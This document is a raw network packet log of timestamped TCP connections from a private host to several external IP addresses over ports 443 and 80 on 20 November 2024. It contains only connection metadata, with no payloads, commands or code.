Nov 20, 2024 23:12:36.908416986 CET	49763	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:36.908683062 CET	49763	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:36.998656034 CET	443	49753	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:36.999133110 CET	49753	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:36.999144077 CET	443	49753	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:36.999597073 CET	443	49753	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:36.999887943 CET	49753	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:36.999958038 CET	443	49753	172.217.21.36	192.168.2.7
Nov 20, 2024 23:12:37.028215885 CET	80	49763	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:37.055429935 CET	49753	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:37.061440945 CET	443	49740	172.202.163.200	192.168.2.7
Nov 20, 2024 23:12:37.061516047 CET	443	49740	172.202.163.200	192.168.2.7
Nov 20, 2024 23:12:37.061537027 CET	443	49740	172.202.163.200	192.168.2.7
Nov 20, 2024 23:12:37.061577082 CET	49740	443	192.168.2.7	172.202.163.200
Nov 20, 2024 23:12:37.061594963 CET	443	49740	172.202.163.200	192.168.2.7
Nov 20, 2024 23:12:37.061610937 CET	49740	443	192.168.2.7	172.202.163.200
Nov 20, 2024 23:12:37.061624050 CET	443	49740	172.202.163.200	192.168.2.7
Nov 20, 2024 23:12:37.061644077 CET	443	49740	172.202.163.200	192.168.2.7
Nov 20, 2024 23:12:37.061650038 CET	49740	443	192.168.2.7	172.202.163.200
Nov 20, 2024 23:12:37.061671019 CET	49740	443	192.168.2.7	172.202.163.200
Nov 20, 2024 23:12:37.061712027 CET	49740	443	192.168.2.7	172.202.163.200
Nov 20, 2024 23:12:37.068958044 CET	443	49756	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:37.069072962 CET	49756	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:37.070694923 CET	49756	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:37.070712090 CET	443	49756	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:37.070979118 CET	443	49756	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:37.081320047 CET	443	49740	172.202.163.200	192.168.2.7
Nov 20, 2024 23:12:37.081406116 CET	49740	443	192.168.2.7	172.202.163.200
Nov 20, 2024 23:12:37.081420898 CET	443	49740	172.202.163.200	192.168.2.7
Nov 20, 2024 23:12:37.081567049 CET	443	49740	172.202.163.200	192.168.2.7
Nov 20, 2024 23:12:37.081629992 CET	49740	443	192.168.2.7	172.202.163.200
Nov 20, 2024 23:12:37.108609915 CET	49756	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:37.151333094 CET	443	49756	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:37.310746908 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.311568975 CET	49754	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.311598063 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.312021017 CET	49754	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.312026024 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.364902973 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.365408897 CET	49755	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.365437031 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.365844965 CET	49755	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.365854025 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.545022011 CET	443	49757	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.547486067 CET	49757	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.547514915 CET	443	49757	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.548091888 CET	49757	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.548105001 CET	443	49757	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.591692924 CET	443	49756	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:37.591906071 CET	443	49756	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:37.591929913 CET	49756	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:37.591929913 CET	49756	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:37.592019081 CET	49756	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:37.592040062 CET	443	49756	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:37.592050076 CET	443	49756	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:37.622181892 CET	49765	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:37.622296095 CET	443	49765	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:37.622381926 CET	49765	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:37.622829914 CET	49765	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:37.622862101 CET	443	49765	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:37.741637945 CET	443	49758	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.742341042 CET	49758	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.742363930 CET	443	49758	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.742840052 CET	49758	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.742846966 CET	443	49758	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.759651899 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.759738922 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.759824991 CET	49754	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.760006905 CET	49754	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.760026932 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.760040998 CET	49754	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.760046959 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.762864113 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.762896061 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.763619900 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.763885975 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.763896942 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.859278917 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.859373093 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.859438896 CET	49755	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.860095024 CET	49768	443	192.168.2.7	142.250.181.110
Nov 20, 2024 23:12:37.860135078 CET	443	49768	142.250.181.110	192.168.2.7
Nov 20, 2024 23:12:37.860188007 CET	49768	443	192.168.2.7	142.250.181.110
Nov 20, 2024 23:12:37.860456944 CET	49768	443	192.168.2.7	142.250.181.110
Nov 20, 2024 23:12:37.860467911 CET	443	49768	142.250.181.110	192.168.2.7
Nov 20, 2024 23:12:37.860661030 CET	49755	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.860672951 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.860687971 CET	49755	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.860694885 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.863148928 CET	49769	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.863162994 CET	443	49769	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.863250971 CET	49769	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.863409996 CET	49769	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.863421917 CET	443	49769	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.865873098 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.866296053 CET	49759	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.866316080 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.866724014 CET	49759	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.866729975 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.989451885 CET	443	49757	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.989613056 CET	443	49757	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.989737034 CET	49757	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.989897966 CET	49757	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.989914894 CET	443	49757	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.989926100 CET	49757	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.989932060 CET	443	49757	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.992705107 CET	49770	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.992769003 CET	443	49770	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:37.992863894 CET	49770	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.992979050 CET	49770	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:37.992993116 CET	443	49770	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:38.188951015 CET	443	49758	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:38.189034939 CET	443	49758	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:38.189093113 CET	49758	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:38.189205885 CET	49758	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:38.189228058 CET	443	49758	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:38.189246893 CET	49758	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:38.189253092 CET	443	49758	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:38.192398071 CET	49771	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:38.192457914 CET	443	49771	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:38.192563057 CET	49771	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:38.192704916 CET	49771	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:38.192723989 CET	443	49771	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:38.312736034 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:38.312808990 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:38.312983036 CET	49759	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:38.313088894 CET	49759	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:38.313106060 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:38.313117027 CET	49759	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:38.313122988 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:38.315735102 CET	49772	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:38.315749884 CET	443	49772	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:38.315835953 CET	49772	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:38.315958023 CET	49772	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:38.315965891 CET	443	49772	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:38.575263977 CET	49740	443	192.168.2.7	172.202.163.200
Nov 20, 2024 23:12:38.575299025 CET	443	49740	172.202.163.200	192.168.2.7
Nov 20, 2024 23:12:38.575315952 CET	49740	443	192.168.2.7	172.202.163.200
Nov 20, 2024 23:12:38.575324059 CET	443	49740	172.202.163.200	192.168.2.7
Nov 20, 2024 23:12:38.746804953 CET	80	49763	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:38.746881008 CET	49763	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:38.894248009 CET	49763	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:38.897932053 CET	49768	443	192.168.2.7	142.250.181.110
Nov 20, 2024 23:12:38.897958994 CET	49753	443	192.168.2.7	172.217.21.36
Nov 20, 2024 23:12:39.013972044 CET	80	49763	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:39.090590954 CET	443	49765	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:39.090677023 CET	49765	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:39.091878891 CET	49765	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:39.091896057 CET	443	49765	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:39.092164993 CET	443	49765	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:39.096472025 CET	49765	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:39.143337965 CET	443	49765	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:39.547868013 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.549767971 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:39.549778938 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.550667048 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:39.550671101 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.589638948 CET	443	49769	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.590044022 CET	49769	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:39.590074062 CET	443	49769	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.590504885 CET	49769	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:39.590511084 CET	443	49769	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.625199080 CET	443	49765	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:39.625277996 CET	443	49765	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:39.625480890 CET	49765	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:39.626403093 CET	49765	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:39.626430035 CET	443	49765	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:39.626446962 CET	49765	443	192.168.2.7	23.218.208.109
Nov 20, 2024 23:12:39.626455069 CET	443	49765	23.218.208.109	192.168.2.7
Nov 20, 2024 23:12:39.792953968 CET	443	49770	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.793493032 CET	49770	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:39.793508053 CET	443	49770	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.793945074 CET	49770	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:39.793950081 CET	443	49770	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.828959942 CET	80	49763	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:39.829020023 CET	49763	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:39.982321024 CET	443	49771	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.982764006 CET	49771	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:39.982784033 CET	443	49771	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.983200073 CET	49771	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:39.983205080 CET	443	49771	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.992010117 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.992079973 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.992147923 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:39.992408991 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:39.992408991 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:39.992427111 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.992439032 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.994724989 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:39.994771004 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:39.994997978 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:39.995187044 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:39.995196104 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.025054932 CET	443	49769	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.025116920 CET	443	49769	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.025211096 CET	49769	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.025335073 CET	49769	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.025346041 CET	443	49769	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.025366068 CET	49769	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.025372028 CET	443	49769	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.027576923 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.027615070 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.027678967 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.027997971 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.028009892 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.173511028 CET	443	49772	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.174384117 CET	49772	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.174411058 CET	443	49772	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.174796104 CET	49772	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.174801111 CET	443	49772	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.240339994 CET	443	49770	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.240466118 CET	443	49770	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.240628004 CET	49770	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.241746902 CET	49770	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.241776943 CET	443	49770	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.241796970 CET	49770	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.241803885 CET	443	49770	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.246192932 CET	49775	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.246253014 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.246308088 CET	49775	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.246639967 CET	49775	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.246650934 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.461662054 CET	443	49771	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.461750984 CET	443	49771	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.462007999 CET	49771	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.507080078 CET	49771	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.507114887 CET	443	49771	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.507129908 CET	49771	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.507137060 CET	443	49771	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.520678043 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.520703077 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.520781994 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.522303104 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.522315025 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.628257036 CET	443	49772	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.628428936 CET	443	49772	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.628561974 CET	49772	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.628859997 CET	49772	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.628887892 CET	443	49772	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.628905058 CET	49772	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.628912926 CET	443	49772	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.689333916 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.689388990 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:40.689466000 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.691123009 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:40.691142082 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:41.794437885 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:41.818099022 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:41.844890118 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:41.860843897 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:41.957833052 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:41.957850933 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:41.958293915 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:41.958297968 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:41.958658934 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:41.958707094 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:41.959011078 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:41.959019899 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:41.972436905 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:41.972938061 CET	49775	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:41.972959042 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:41.973416090 CET	49775	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:41.973423958 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.243186951 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.264554977 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.264589071 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.265094042 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.265105963 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.283482075 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.283685923 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.283747911 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.286009073 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.286108017 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.286279917 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.349446058 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.349473953 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.349488020 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.349495888 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.351938009 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.351979971 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.405838966 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.405917883 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.406109095 CET	49775	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.464397907 CET	49775	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.464436054 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.464447975 CET	49775	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.464454889 CET	443	49775	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.538050890 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.589637995 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.609158039 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.609180927 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.609682083 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.609687090 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.679081917 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.679157019 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.679207087 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.684160948 CET	49788	443	192.168.2.7	94.245.104.56
Nov 20, 2024 23:12:42.684200048 CET	443	49788	94.245.104.56	192.168.2.7
Nov 20, 2024 23:12:42.684261084 CET	49788	443	192.168.2.7	94.245.104.56
Nov 20, 2024 23:12:42.686362028 CET	49788	443	192.168.2.7	94.245.104.56
Nov 20, 2024 23:12:42.686395884 CET	443	49788	94.245.104.56	192.168.2.7
Nov 20, 2024 23:12:42.799751997 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.799797058 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.799815893 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.799825907 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.829463005 CET	49789	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.829499006 CET	443	49789	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.829576969 CET	49789	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.903321981 CET	49789	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:42.903337955 CET	443	49789	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.991447926 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.991523981 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:42.991578102 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:43.130598068 CET	49790	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:43.130635977 CET	443	49790	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:43.130692959 CET	49790	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:43.147389889 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:43.147423983 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:43.147440910 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:43.147447109 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:43.159699917 CET	49791	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:43.159732103 CET	443	49791	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:43.159830093 CET	49791	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:43.240880013 CET	49790	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:43.240902901 CET	443	49790	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:43.774480104 CET	49791	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:43.774527073 CET	443	49791	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:43.990328074 CET	49792	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:43.990386963 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:43.990485907 CET	49792	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:44.010529041 CET	49792	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:44.010565042 CET	443	49792	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:44.032646894 CET	49793	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:44.032706976 CET	443	49793	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:44.032793999 CET	49793	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:44.032927036 CET	49793	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:44.032938957 CET	443	49793	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:44.522377014 CET	443	49788	94.245.104.56	192.168.2.7
Nov 20, 2024 23:12:44.522857904 CET	49788	443	192.168.2.7	94.245.104.56
Nov 20, 2024 23:12:44.522872925 CET	443	49788	94.245.104.56	192.168.2.7
